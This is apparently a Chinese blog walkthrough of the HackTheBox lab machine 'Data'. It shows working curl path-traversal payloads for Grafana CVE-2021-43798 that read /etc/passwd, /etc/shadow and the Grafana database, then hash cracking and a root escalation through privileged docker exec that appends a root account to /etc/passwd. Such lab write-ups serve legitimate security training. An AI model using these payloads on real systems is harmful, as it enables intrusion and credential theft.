本文最后更新于 2026年3月12日 下午
一、靶场详情 靶场名称:
Data
靶场地址:
https://app.hackthebox.com/machines/673
靶场环境连接说明:
演示为 HackTheBox 平台在线靶机,需通过 OpenVPN 客户端连接平台提供的 VPN 环境才能访问靶机。注意:平台新发布的靶机可以免费练习,而历史靶机则需要开通会员才能使用。还需要注意连接 HackTheBox 平台 VPN 需要挂载代理,具体方式可参考之前的历史文章或留言。
二、思路总结 突破边界(获取用户旗帜):
Grafana 任意文件读取 –> 数据库 sqlite 文件 –> 数据库用户密码解密 –> 系统 boris 用户权限 –> 用户旗帜
权限提升(获取管理员旗帜):
docker exec sudo 权限 –> 设置 shell privileged 特权 –> 容器挂载宿主机根目录 –> /etc/passwd 添加高权限账号 –> 系统 root 用户权限 –> 管理员旗帜
三、靶场攻击演示 3.1 靶场信息收集 使用 nmap 对靶机进行端口扫描。
TCP 端口扫描:
1 2 3 4 5 sudo nmap -p- 10.129.204.80 --min-rate=2000 PORT STATE SERVICE 22/tcp open ssh 3000/tcp open ppp
UDP 端口扫描:未发现可利用的端口。
继续使用 nmap 对已开放端口的服务进行信息收集。
TCP 服务信息搜集:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 sudo nmap -p22,3000 -sCV 10.129.204.80 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 63:47:0a:81:ad:0f:78:07:46:4b:15:52:4a:4d:1e:39 (RSA) | 256 7d:a9:ac:fa:01:e8:dd :09:90:40:48:ec:dd :f3:08:be (ECDSA) |_ 256 91:33:2d:1a:81:87:1a:84:d3:b9:0b:23:23:3d:19:4b (ED25519) 3000/tcp open http Grafana http |_http-trane-info: Problem with XML parsing of /evox/about | http-title: Grafana |_Requested resource was /login | http-robots.txt: 1 disallowed entry |_/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
由此得出结论:
系统为 Linux 环境,开放有 HTTP 和 SSH 服务。
3.2 渗透测试突破边界 3.2.1 Grafana 任意文件读取漏洞 访问靶机 HTTP 3000 端口,发现系统使用了 Grafana 8.0.0 版本。
搜索引擎检索得知系统 8.0.0 版本历史存在任意文件读取漏洞(CVE-2021-43798)。
kali 本地存在漏洞利用脚本,可直接使用。
通过 Wireshark 抓包可得到具体 payload。
1 http://10.129.204.80/public/plugins/welcome/../../../../../../../../../../../../../etc/passwd
参考如下链接,可利用该漏洞读取系统敏感文件。
1 https://github.com/MalekAlthubiany/CVE-2021-43798
1 2 3 4 5 6 curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../Users/install.txt" curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/passwd" curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/grafana/grafana.ini" curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../var/lib/grafana/grafana.db" curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/hostname" curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/shadow"
读取配置文件信息时,可得到系统配置文件路径、sqlite 数据库名称以及 secret_key。
1 curl --path-as-is http://10.129.204.80:3000/public/plugins/welcome/../../../../../../../../../../../../../etc/grafana/grafana.ini
下载 sqlite 数据库。
1 curl --path-as-is 'http://10.129.204.80:3000/public/plugins/welcome/../../../../../../../../../../../../../var/lib/grafana/grafana.db' -o sql.db
3.2.2 Grafana 数据库用户密码解密 使用 sqlite3 或 dbeaver 工具打开 db 文件,在 user 表得到两个加密的用户密码。
将密码转换为 hashcat 可识别格式,破解得到 boris 用户明文密码。
参考链接:
1 https://github.com/iamaldi/grafana2hashcat/blob/main/grafana2hashcat.py
首先将加密密码和盐写入文本中,然后运行转换脚本。
hashcat 执行密码破解。
使用获取的用户密码,可 ssh 登录靶机。
3.2.3 用户旗帜获取
3.3 提权获取系统最高权限 3.3.1 Docker exec sudo 权限滥用(privileged 特权) sudo -l 发现系统可通过任意用户执行 /snap/bin/docker exec * 命令,怀疑系统存在 docker 环境。
通过 ps -aux | less 发现容器 ID。
docker exec --privileged 参数可授予 shell 特殊权限,通过该权限可尝试挂在宿主机已知设备。
宿主机 /dev/sda1 挂在了系统根分区,我们可尝试特权模式进行容器 shell 挂载宿主机/dev/sda1。
1 2 3 sudo -u root /snap/bin/docker exec -u root --privileged -it e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 /bin/bashmkdir /123 mount /dev/sda1 /123
此时我们通过创建的 123 目录可查看、修改宿主机文件,在 passwd 文件写入高权限用户得到系统 root 权限。
1 2 openssl passwd -1 -salt GitRekt 123echo 'hack:$1$GitRekt$Ux0cdGvm702nQqiewE1UO0:0:0:,,,:/root:/bin/bash' >> /123/etc/passwd
回到宿主机,切换至创建的用户,得到系统 root 权限。
3.3.2 管理员旗帜获取
Thanks
如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡
最后,祝您生活愉快!🌞✨